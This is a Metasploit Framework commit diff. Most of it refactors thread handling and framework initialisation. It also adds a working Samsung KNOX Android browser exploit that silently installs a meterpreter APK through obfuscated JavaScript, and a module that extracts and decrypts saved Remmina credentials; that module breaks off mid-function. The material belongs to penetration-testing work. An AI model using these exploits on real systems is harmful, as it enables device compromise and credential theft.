Update module with review

bug/bundler_fix
jvazquez-r7 2014-11-18 15:43:53 -06:00
commit a0f92ce26e
36 changed files with 1585 additions and 818 deletions

View File

@ -123,7 +123,7 @@ GEM
metasploit-model (0.28.0) metasploit-model (0.28.0)
activesupport activesupport
railties (< 4.0.0) railties (< 4.0.0)
metasploit_data_models (0.21.1) metasploit_data_models (0.21.2)
activerecord (>= 3.2.13, < 4.0.0) activerecord (>= 3.2.13, < 4.0.0)
activesupport activesupport
arel-helpers arel-helpers

View File

@ -11,4 +11,5 @@ Metasploit::Framework::Require.optionally_active_record_railtie
Metasploit::Framework::Application.load_tasks Metasploit::Framework::Application.load_tasks
Metasploit::Framework::Spec::Constants.define_task Metasploit::Framework::Spec::Constants.define_task
Metasploit::Framework::Spec::Threads::Suite.define_task
Metasploit::Framework::Spec::UntestedPayloads.define_task Metasploit::Framework::Spec::UntestedPayloads.define_task

View File

@ -23,15 +23,13 @@ unless ENV['BUNDLE_GEMFILE']
end end
begin begin
require 'bundler' require 'bundler/setup'
rescue LoadError rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed" $stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler" $stderr.puts " $ gem install bundler"
exit(0) exit(1)
end end
Bundler.setup
lib_path = root.join('lib').to_path lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path unless $LOAD_PATH.include? lib_path

View File

@ -35,6 +35,7 @@ module Metasploit
extend ActiveSupport::Autoload extend ActiveSupport::Autoload
autoload :Spec autoload :Spec
autoload :ThreadFactoryProvider
# Returns the root of the metasploit-framework project. Use in place of # Returns the root of the metasploit-framework project. Use in place of
# `Rails.root`. # `Rails.root`.

View File

@ -2,4 +2,5 @@ module Metasploit::Framework::Spec
extend ActiveSupport::Autoload extend ActiveSupport::Autoload
autoload :Constants autoload :Constants
autoload :Threads
end end

View File

@ -0,0 +1,5 @@
module Metasploit::Framework::Spec::Threads
extend ActiveSupport::Autoload
autoload :Suite
end

View File

@ -0,0 +1,41 @@
#
# Standard Library
#
require 'securerandom'
#
# Project
#
require 'metasploit/framework/spec/threads/suite'
original_thread_new = Thread.method(:new)
# Patches `Thread.new` so that if logs `caller` so thread leaks can be traced
Thread.define_singleton_method(:new) { |*args, &block|
uuid = SecureRandom.uuid
# tag caller with uuid so that only leaked threads caller needs to be printed
lines = ["BEGIN Thread.new caller (#{uuid})"]
caller.each do |frame|
lines << " #{frame}"
end
lines << 'END Thread.new caller'
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.parent.mkpath
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.open('a') { |f|
# single puts so threads can't write in between each other.
f.puts lines.join("\n")
}
options = {original_args: args, uuid: uuid}
original_thread_new.call(options) {
# record uuid for thread-leak detection can used uuid to correlate log with this thread.
Thread.current[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] = options.fetch(:uuid)
block.call(*options.fetch(:original_args))
}
}

View File

@ -0,0 +1,214 @@
require 'pathname'
# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which
# allows for faster loading of rake tasks.
module Metasploit
module Framework
module Spec
module Threads
module Suite
#
# CONSTANTS
#
# Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)`
EXPECTED_THREAD_COUNT_AROUND_SUITE = 1
# `caller` for all Thread.new calls
LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log')
# Regular expression for extracting the UUID out of {LOG_PATHNAME} for each Thread.new caller block
UUID_REGEXP = /BEGIN Thread.new caller \((?<uuid>.*)\)/
# Name of thread local variable that Thread UUID is stored
UUID_THREAD_LOCAL_VARIABLE = "metasploit/framework/spec/threads/logger/uuid"
#
# Module Methods
#
# Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks.
#
# @return [void]
def self.configure!
unless @configured
RSpec.configure do |config|
config.before(:suite) do
thread_count = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list.count
# check with if first so that error message can be constructed lazily
if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE
# LOG_PATHNAME may not exist if suite run without `rake spec`
if LOG_PATHNAME.exist?
log = LOG_PATHNAME.read()
else
log "Run `rake spec` to log where Thread.new is called."
end
raise RuntimeError,
"#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \
"only #{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \
"#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected before suite runs:\n" \
"#{log}"
end
LOG_PATHNAME.parent.mkpath
LOG_PATHNAME.open('a') do |f|
# separator so after(:suite) can differentiate between threads created before(:suite) and during the
# suites
f.puts 'before(:suite)'
end
end
config.after(:suite) do
LOG_PATHNAME.parent.mkpath
LOG_PATHNAME.open('a') do |f|
# separator so that a flip flop can be used when reading the file below. Also useful if it turns
# out any threads are being created after this callback, which could be the case if another
# after(:suite) accidentally created threads by creating an Msf::Simple::Framework instance.
f.puts 'after(:suite)'
end
thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list
thread_count = thread_list.count
if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE
error_lines = []
if LOG_PATHNAME.exist?
caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid
thread_list.each do |thread|
thread_uuid = thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE]
# unmanaged thread, such as the main VM thread
unless thread_uuid
next
end
caller = caller_by_thread_uuid[thread_uuid]
error_lines << "Thread #{thread_uuid}'s status is #{thread.status.inspect} " \
"and was started here:\n"
error_lines.concat(caller)
end
else
error_lines << "Run `rake spec` to log where Thread.new is called."
end
raise RuntimeError,
"#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when only " \
"#{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \
"#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected after suite runs:\n" \
"#{error_lines.join}"
end
end
end
@configured = true
end
@configured
end
def self.define_task
Rake::Task.define_task('metasploit:framework:spec:threads:suite') do
if Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.exist?
Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.delete
end
parent_pathname = Pathname.new(__FILE__).parent
threads_logger_pathname = parent_pathname.join('logger')
load_pathname = parent_pathname.parent.parent.parent.parent.expand_path
# Must append to RUBYOPT or Rubymine debugger will not work
ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -I#{load_pathname} -r#{threads_logger_pathname}"
end
Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite')
end
# @note Ensure {LOG_PATHNAME} exists before calling.
#
# Yields each line of {LOG_PATHNAME} that happened during the suite run.
#
# @yield [line]
# @yieldparam line [String] a line in the {LOG_PATHNAME} between `before(:suite)` and `after(:suite)`
# @yieldreturn [void]
def self.each_suite_line
in_suite = false
LOG_PATHNAME.each_line do |line|
if in_suite
if line.start_with?('after(:suite)')
break
else
yield line
end
else
if line.start_with?('before(:suite)')
in_suite = true
end
end
end
end
# @note Ensure {LOG_PATHNAME} exists before calling.
#
# Yield each line for each Thread UUID gathered during the suite run.
#
# @yield [uuid, line]
# @yieldparam uuid [String] the UUID of thread thread
# @yieldparam line [String] a line in the `caller` for the given `uuid`
# @yieldreturn [void]
def self.each_thread_line
in_thread_caller = false
uuid = nil
each_suite_line do |line|
if in_thread_caller
if line.start_with?('END Thread.new caller')
in_thread_caller = false
next
else
yield uuid, line
end
else
match = line.match(UUID_REGEXP)
if match
in_thread_caller = true
uuid = match[:uuid]
end
end
end
end
# The `caller` for each Thread UUID.
#
# @return [Hash{String => Array<String>}]
def self.caller_by_thread_uuid
lines_by_thread_uuid = Hash.new { |hash, uuid|
hash[uuid] = []
}
each_thread_line do |uuid, line|
lines_by_thread_uuid[uuid] << line
end
lines_by_thread_uuid
end
# @return
def self.non_debugger_thread_list
Thread.list.reject { |thread|
# don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it
# won't when not debugging.
thread.class.name == 'Debugger::DebugThread'
}
end
end
end
end
end
end

View File

@ -0,0 +1,26 @@
# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by
# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily.
#
# @example Setting Rex::ThreadFactory.provider and spawning threads
# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework)
# # framework.threads created here
# Rex::ThreadFactory.spawn("name", false) { ... }
#
class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base
#
# Attributes
#
# @!attribute framework
# The framework managing the spawned threads.
#
# @return [Msf::Framework]
attr_accessor :framework
# Spawns a thread monitored by {Msf::ThreadManager} in {Msf::Framework#threads}.
#
# (see Msf::ThreadManager#spawn)
def spawn(name, critical, *args, &block)
framework.threads.spawn(name, critical, *args, &block)
end
end

View File

@ -17,7 +17,6 @@ require 'msf/core/database_event'
require 'msf/core/db_import_error' require 'msf/core/db_import_error'
require 'msf/core/host_state' require 'msf/core/host_state'
require 'msf/core/service_state' require 'msf/core/service_state'
require 'msf/core/task_manager'
# The db module provides persistent storage and events. This class should be instantiated LAST # The db module provides persistent storage and events. This class should be instantiated LAST
# as the active_suppport library overrides Kernel.require, slowing down all future code loads. # as the active_suppport library overrides Kernel.require, slowing down all future code loads.
@ -47,7 +46,6 @@ class Msf::DBManager
autoload :Service, 'msf/core/db_manager/service' autoload :Service, 'msf/core/db_manager/service'
autoload :Session, 'msf/core/db_manager/session' autoload :Session, 'msf/core/db_manager/session'
autoload :SessionEvent, 'msf/core/db_manager/session_event' autoload :SessionEvent, 'msf/core/db_manager/session_event'
autoload :Sink, 'msf/core/db_manager/sink'
autoload :Task, 'msf/core/db_manager/task' autoload :Task, 'msf/core/db_manager/task'
autoload :Vuln, 'msf/core/db_manager/vuln' autoload :Vuln, 'msf/core/db_manager/vuln'
autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt' autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt'
@ -80,7 +78,6 @@ class Msf::DBManager
include Msf::DBManager::Service include Msf::DBManager::Service
include Msf::DBManager::Session include Msf::DBManager::Session
include Msf::DBManager::SessionEvent include Msf::DBManager::SessionEvent
include Msf::DBManager::Sink
include Msf::DBManager::Task include Msf::DBManager::Task
include Msf::DBManager::Vuln include Msf::DBManager::Vuln
include Msf::DBManager::VulnAttempt include Msf::DBManager::VulnAttempt
@ -160,11 +157,6 @@ class Msf::DBManager
# #
initialize_adapter initialize_adapter
#
# Instantiate the database sink
#
initialize_sink
true true
end end

View File

@ -1,34 +0,0 @@
module Msf::DBManager::Sink
#
# Attributes
#
# Stores a TaskManager for serializing database events
attr_accessor :sink
#
# Instance Methods
#
#
# Create a new database sink and initialize it
#
def initialize_sink
self.sink = Msf::TaskManager.new(framework)
self.sink.start
end
#
# Add a new task to the sink
#
def queue(proc)
self.sink.queue_proc(proc)
end
#
# Wait for all pending write to finish
#
def sync
# There is no more queue.
end
end

View File

@ -49,8 +49,6 @@ module Exploit::Android
// libraryData contains the bytes for a native shared object built via NDK // libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager. // which will load the "stage", which in this case is our android meterpreter stager.
// LibraryData is loaded via ajax later, because we have to access javascript in
// order to detect what arch we are running.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains

View File

@ -1,4 +1,15 @@
# -*- coding: binary -*- # -*- coding: binary -*-
#
# Standard Library
#
require 'monitor'
#
# Project
#
require 'metasploit/framework/version' require 'metasploit/framework/version'
require 'msf/core' require 'msf/core'
require 'msf/util' require 'msf/util'
@ -12,6 +23,7 @@ module Msf
# #
### ###
class Framework class Framework
include MonitorMixin
# #
# Versioning information # Versioning information
@ -66,22 +78,22 @@ class Framework
# #
# Creates an instance of the framework context. # Creates an instance of the framework context.
# #
def initialize(opts={}) def initialize(options={})
self.options = options
# call super to initialize MonitorMixin. #synchronize won't work without this.
super()
# Allow specific module types to be loaded # Allow specific module types to be loaded
types = opts[:module_types] || Msf::MODULE_TYPES types = options[:module_types] || Msf::MODULE_TYPES
self.threads = ThreadManager.new(self)
self.events = EventDispatcher.new(self) self.events = EventDispatcher.new(self)
self.modules = ModuleManager.new(self,types) self.modules = ModuleManager.new(self,types)
self.sessions = SessionManager.new(self)
self.datastore = DataStore.new self.datastore = DataStore.new
self.jobs = Rex::JobContainer.new self.jobs = Rex::JobContainer.new
self.plugins = PluginManager.new(self) self.plugins = PluginManager.new(self)
self.db = DBManager.new(self, opts)
# Configure the thread factory # Configure the thread factory
Rex::ThreadFactory.provider = self.threads Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
subscriber = FrameworkEventSubscriber.new(self) subscriber = FrameworkEventSubscriber.new(self)
events.add_exploit_subscriber(subscriber) events.add_exploit_subscriber(subscriber)
@ -155,11 +167,6 @@ class Framework
# #
attr_reader :modules attr_reader :modules
# #
# Session manager that tracks sessions associated with this framework
# instance over the course of their lifetime.
#
attr_reader :sessions
#
# The global framework datastore that can be used by modules. # The global framework datastore that can be used by modules.
# #
attr_reader :datastore attr_reader :datastore
@ -180,28 +187,62 @@ class Framework
# unloading of plugins. # unloading of plugins.
# #
attr_reader :plugins attr_reader :plugins
#
# The framework instance's db manager. The db manager # The framework instance's db manager. The db manager
# maintains the database db and handles db events # maintains the database db and handles db events
# #
attr_reader :db # @return [Msf::DBManager]
def db
synchronize {
@db ||= Msf::DBManager.new(self, options)
}
end
# Session manager that tracks sessions associated with this framework
# instance over the course of their lifetime.
# #
# @return [Msf::SessionManager]
def sessions
synchronize {
@sessions ||= Msf::SessionManager.new(self)
}
end
# The framework instance's thread manager. The thread manager # The framework instance's thread manager. The thread manager
# provides a cleaner way to manage spawned threads # provides a cleaner way to manage spawned threads
# #
attr_reader :threads # @return [Msf::ThreadManager]
def threads
synchronize {
@threads ||= Msf::ThreadManager.new(self)
}
end
# Whether {#threads} has been initialized
#
# @return [true] if {#threads} has been initialized
# @return [false] otherwise
def threads?
synchronize {
instance_variable_defined? :@threads
}
end
protected protected
# @!attribute options
# Options passed to {#initialize}
#
# @return [Hash]
attr_accessor :options
attr_writer :events # :nodoc: attr_writer :events # :nodoc:
attr_writer :modules # :nodoc: attr_writer :modules # :nodoc:
attr_writer :sessions # :nodoc:
attr_writer :datastore # :nodoc: attr_writer :datastore # :nodoc:
attr_writer :auxmgr # :nodoc: attr_writer :auxmgr # :nodoc:
attr_writer :jobs # :nodoc: attr_writer :jobs # :nodoc:
attr_writer :plugins # :nodoc: attr_writer :plugins # :nodoc:
attr_writer :db # :nodoc: attr_writer :db # :nodoc:
attr_writer :threads # :nodoc:
end end
class FrameworkEventSubscriber class FrameworkEventSubscriber

View File

@ -60,6 +60,10 @@ module Msf::Payload::Dalvik
# with a key whose validity expires before that date. # with a key whose validity expires before that date.
# """ # """
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
# If this line is left out, signature verification fails on OSX.
cert.sign(key, OpenSSL::Digest::SHA1.new)
return cert, key return cert, key
end end
end end

View File

@ -31,6 +31,23 @@ module Msf::Post::File
end end
end end
# Returns a list of the contents of the specified directory
# @param directory [String] the directory to list
# @return [Array] the contents of the directory
def dir(directory)
if session.type == 'meterpreter'
return session.fs.dir.entries(directory)
else
if session.platform =~ /win/
return session.shell_command_token("dir #{directory}").split(/[\r\n]+/)
else
return session.shell_command_token("ls #{directory}").split(/[\r\n]+/)
end
end
end
alias ls dir
# #
# See if +path+ exists on the remote system and is a directory # See if +path+ exists on the remote system and is a directory
# #

View File

@ -1,238 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# This class provides a task manager
#
###
class TaskManager
class Task
attr_accessor :timeout
attr_accessor :created
attr_accessor :completed
attr_accessor :status
attr_accessor :proc
attr_accessor :source
attr_accessor :exception
#
# Create a new task
#
def initialize(proc,timeout=nil)
self.proc = proc
self.status = :new
self.created = Time.now
self.timeout = timeout
self.source = caller
end
#
# Task duration in seconds (float)
#
def duration
etime = self.completed || Time.now
etime.to_f - self.created.to_f
end
def wait
while self.status == :new
::IO.select(nil,nil,nil,0.10)
end
return self.status
end
#
# Run the associated proc
#
def run(*args)
self.proc.call(*args) if self.proc
end
end
attr_accessor :processing
attr_accessor :queue
attr_accessor :thread
attr_accessor :framework
#
# Create a new TaskManager
#
def initialize(framework)
self.framework = framework
self.flush
end
#
# Add a new task via proc
#
def queue_proc(proc)
task = Task.new(proc)
queue_task(task)
return task
end
#
# Add a new task to the queue unless we are called
# by the queue thread itself.
#
def queue_task(task)
if Thread.current[:task_manager]
process_task(task)
else
self.queue.push(task)
end
end
#
# Flush the queue
#
def flush
self.queue = []
end
#
# Stop processing events
#
def stop
return if not self.thread
self.processing = false
self.thread.join
self.thread = nil
end
#
# Forcefully kill the processing thread
#
def kill
return if not self.thread
self.processing = false
self.thread.kill
self.thread = nil
end
#
# Start processing tasks
#
def start
return if self.thread
self.processing = true
self.thread = framework.threads.spawn("TaskManager", true) do
begin
process_tasks
rescue ::Exception => e
elog("taskmanager: process_tasks exception: #{e.class} #{e} #{e.backtrace}")
retry
end
end
# Mark this thread as the task manager
self.thread[:task_manager] = true
# Return the thread object to the caller
self.thread
end
#
# Restart the task processor
#
def restart
stop
start
end
#
# Retrieve the number of tasks in the queue
#
def backlog
self.queue.length
end
#
# Process the actual queue
#
def process_tasks
spin = 50
ltask = nil
while(self.processing)
cnt = 0
while(task = self.queue.shift)
stime = Time.now.to_f
ret = process_task(task)
etime = Time.now.to_f
case ret
when :requeue
self.queue.push(task)
when :drop, :done
# Processed or dropped
end
cnt += 1
ltask = task
end
spin = (cnt == 0) ? (spin + 1) : 0
if spin > 10
::IO.select(nil, nil, nil, 0.25)
end
end
self.thread = nil
end
#
# Process a specific task from the queue
#
def process_task(task)
begin
if(task.timeout)
::Timeout.timeout(task.timeout) do
task.run(self, task)
end
else
task.run(self, task)
end
rescue ::ThreadError
# Ignore these (caused by a return inside of the proc)
rescue ::Exception => e
if(e.class == ::Timeout::Error)
elog("taskmanager: task #{task.inspect} timed out after #{task.timeout} seconds")
task.status = :timeout
task.completed = Time.now
return :drop
end
elog("taskmanager: task triggered an exception: #{e.class} #{e}")
elog("taskmanager: task proc: #{task.proc.inspect} ")
elog("taskmanager: task Call stack: \n#{task.source.join("\n")} ")
dlog("Call stack:\n#{$@.join("\n")}")
task.status = :dropped
task.exception = e
return :drop
end
task.status = :done
task.completed = Time.now
return :done
end
def log_error(msg)
elog(msg, 'core')
end
def log_debug(msg)
dlog(msg, 'core')
end
end
end

View File

@ -28,6 +28,10 @@ class Metasploit3 < Msf::Auxiliary
}, },
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ], 'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-6663'],
],
'DisclosureDate' => 'Jan 19 2012' 'DisclosureDate' => 'Jan 19 2012'
)) ))

View File

@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
['OSVDB', '77455'], ['OSVDB', '77455'],
['BID', '50890'], ['BID', '50890'],
['EDB', '18189'], ['EDB', '18189'],
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'] ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'],
['CVE', '2011-4722']
], ],
'DisclosureDate' => "Dec 12 2011" 'DisclosureDate' => "Dec 12 2011"
)) ))

View File

@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
} }
function bodyOnLoad() { function bodyOnLoad() {
var detected_version = window.os_detect.getVersion(); var detected_version = os_detect.getVersion();
//#{js_debug('detected_version')} //#{js_debug('detected_version')}
report_and_get_exploits(detected_version); report_and_get_exploits(detected_version);
} // function bodyOnLoad } // function bodyOnLoad
@ -851,7 +851,7 @@ class Metasploit3 < Msf::Auxiliary
return !! client_str.match(module_spec) return !! client_str.match(module_spec)
when ::Array when ::Array
return !! exploit_spec.map{ |spec| return !! exploit_spec.map{ |spec|
client_matches_module_spec?(client_str, spec) client_matches_module_spec?(client_str, spec)
}.include?(true) }.include?(true)
end end
@ -935,7 +935,6 @@ class Metasploit3 < Msf::Auxiliary
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
print_status("JavaScript Report: #{detected_version}") print_status("JavaScript Report: #{detected_version}")
(os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') (os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
if framework.db.active if framework.db.active
@ -947,7 +946,7 @@ class Metasploit3 < Msf::Auxiliary
note_data['os.version'] = os_sp if os_sp != 'undefined' note_data['os.version'] = os_sp if os_sp != 'undefined'
note_data['os.language'] = os_lang if os_lang != 'undefined' note_data['os.language'] = os_lang if os_lang != 'undefined'
note_data['os.arch'] = arch if arch != 'undefined' note_data['os.arch'] = arch if arch != 'undefined'
note_data['os.certainty'] = '0.7' note_data['os.certainty'] = '0.7'
print_status("Reporting: #{note_data.inspect}") print_status("Reporting: #{note_data.inspect}")
# Reporting stuff isn't really essential since we store all # Reporting stuff isn't really essential since we store all

View File

@ -31,6 +31,13 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST', 'PCAPFILE') deregister_options('RHOST', 'PCAPFILE')
end end
def setup
super
unless datastore['SMAC'] || datastore['INTERFACE']
raise ArgumentError, 'Must specify SMAC or INTERFACE'
end
end
def build_dtp_frame def build_dtp_frame
p = PacketFu::EthPacket.new p = PacketFu::EthPacket.new
p.eth_daddr = '01:00:0c:cc:cc:cc' p.eth_daddr = '01:00:0c:cc:cc:cc'

View File

@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
packet, addr = @sock.recvfrom(512) packet, addr = @sock.recvfrom(512)
src_port = addr[1]
rhost = addr[3] rhost = addr[3]
break if packet.length == 0 break if packet.length == 0
@ -127,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
p.ip_daddr = rhost p.ip_daddr = rhost
p.ip_ttl = 255 p.ip_ttl = 255
p.udp_sport = 137 p.udp_sport = 137
p.udp_dport = 137 p.udp_dport = src_port
p.payload = response p.payload = response
p.recalc p.recalc

View File

@ -0,0 +1,162 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'digest/md5'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
# Hash that maps payload ID -> (0|1) if an HTTP request has
# been made to download a payload of that ID
attr_reader :served_payloads
def initialize(info = {})
super(update_info(info,
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
'Description' => %q{
A vulnerability exists in the KNOX security component of the Samsung Galaxy
firmware that allows a remote webpage to install an APK with arbitrary
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
component.
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
and Ace 4.
},
'License' => MSF_LICENSE,
'Author' => [
'Andre Moulu', # discovery and advisory
'joev' # msf module
],
'References' => [
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
['OSVDB', '114590']
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Nov 12 2014',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_name => OperatingSystems::Match::ANDROID
}
))
register_options([
OptString.new('APK_VERSION', [
false, "The update version to advertise to the client", "1337"
])
], self.class)
deregister_options('JsObfuscate')
end
def exploit
@served_payloads = Hash.new(0)
super
end
def apk_bytes
payload.encoded
end
def on_request_uri(cli, req)
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
if req.method.upcase == 'HEAD'
print_status "Serving metadata..."
send_response(cli, '', magic_headers)
else
print_status "Serving payload '#{$1}'..."
@served_payloads[$1] = 1
send_response(cli, apk_bytes, magic_headers)
end
elsif req.uri =~ /_poll/
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
elsif req.uri =~ /launch$/
send_response_html(cli, launch_html)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status "Serving exploit..."
send_response_html(cli, generate_html)
end
def magic_headers
{ 'Content-Length' => apk_bytes.length,
'ETag' => Digest::MD5.hexdigest(apk_bytes),
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
end
def generate_html
%Q|
<!doctype html>
<html><body>
<script>
#{exploit_js}
</script></body></html>
|
end
def exploit_js
payload_id = rand_word
js_obfuscate %Q|
function poll() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
if (xhr.responseText == '1') {
setTimeout(killEnrollment, 100);
} else {
setTimeout(poll, 1000);
setTimeout(enroll, 0);
setTimeout(enroll, 500);
}
}
};
xhr.onerror = function(){
setTimeout(poll, 1000);
setTimeout(enroll, 0);
};
xhr.send();
}
function enroll() {
var loc = window.location.href.replace(/[/.]$/g, '');
top.location = 'smdm://#{rand_word}?update_url='+
encodeURIComponent(loc)+'/#{payload_id}.apk';
}
function killEnrollment() {
top.location = "intent://#{rand_word}?program="+
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
setTimeout(launchApp, 300);
}
function launchApp() {
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
}
enroll();
setTimeout(poll,600);
|
end
def rand_word
Rex::Text.rand_text_alphanumeric(3+rand(12))
end
end

View File

@ -163,15 +163,15 @@ class Metasploit3 < Msf::Exploit::Local
def check_dirs def check_dirs
print_status("Attempting to create a non-existant PATH dir to use.") print_status("Attempting to create a non-existant PATH dir to use.")
@non_existant_dirs.each do |dir| @non_existant_dirs.each do |directory|
begin begin
client.fs.dir.mkdir(dir) client.fs.dir.mkdir(directory)
if exist?(dir) if exist?(directory)
register_file_for_cleanup(dir) register_file_for_cleanup(directory)
return dir return directory
end end
rescue Rex::Post::Meterpreter::RequestError => e rescue Rex::Post::Meterpreter::RequestError => e
vprint_status("Unable to create dir: #{dir} - #{e}") vprint_status("Unable to create dir: #{directory} - #{e}")
end end
end end

View File

@ -230,7 +230,7 @@ class Metasploit3 < Msf::Exploit::Remote
psexec(file_location, false, servicedescription, servicename, displayname) psexec(file_location, false, servicedescription, servicename, displayname)
print_status("Deleting \\#{filename}...") print_status("Deleting \\#{filename}...")
sleep(1)
#This is not really useful but will prevent double \\ on the wire :) #This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/ if datastore['SHARE'] =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")

View File

@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
['OSVDB', '80984'], ['OSVDB', '80984'],
['EDB', '18718'], ['EDB', '18718'],
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'] ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],
['CVE', '2012-6664']
], ],
'Payload' => 'Payload' =>
{ {

View File

@ -0,0 +1,188 @@
# encoding: binary
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(update_info(
info,
'Name' => 'UNIX Gather Remmina Credentials',
'Description' => %q(
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
stored in (relatively) plain text in a file that must be properly protected.
),
'License' => MSF_LICENSE,
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
'Platform' => %w(bsd linux osx unix),
'SessionTypes' => %w(shell meterpreter)
))
end
def run
creds = extract_all_creds
creds.uniq!
if creds.empty?
vprint_status('No Reminna credentials collected')
else
vprint_good("Collected #{creds.size} sets of Remmina credentials")
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Remmina Credentials',
'Indent' => 1,
'Columns' => %w(Host Port Service User Password)
)
creds.each do |cred|
cred_table << cred
report_credential(cred[3], cred[4])
end
print_line(cred_table.to_s)
end
end
def decrypt(secret, data)
c = OpenSSL::Cipher::Cipher.new('des3')
key_data = Base64.decode64(secret)
# the key is the first 24 bytes of the secret
c.key = key_data[0, 24]
# the IV is the last 8 bytes of the secret
c.iv = key_data[24, 8]
# passwords less than 16 characters are padded with nulls
c.padding = 0
c.decrypt
p = c.update(Base64.decode64(data))
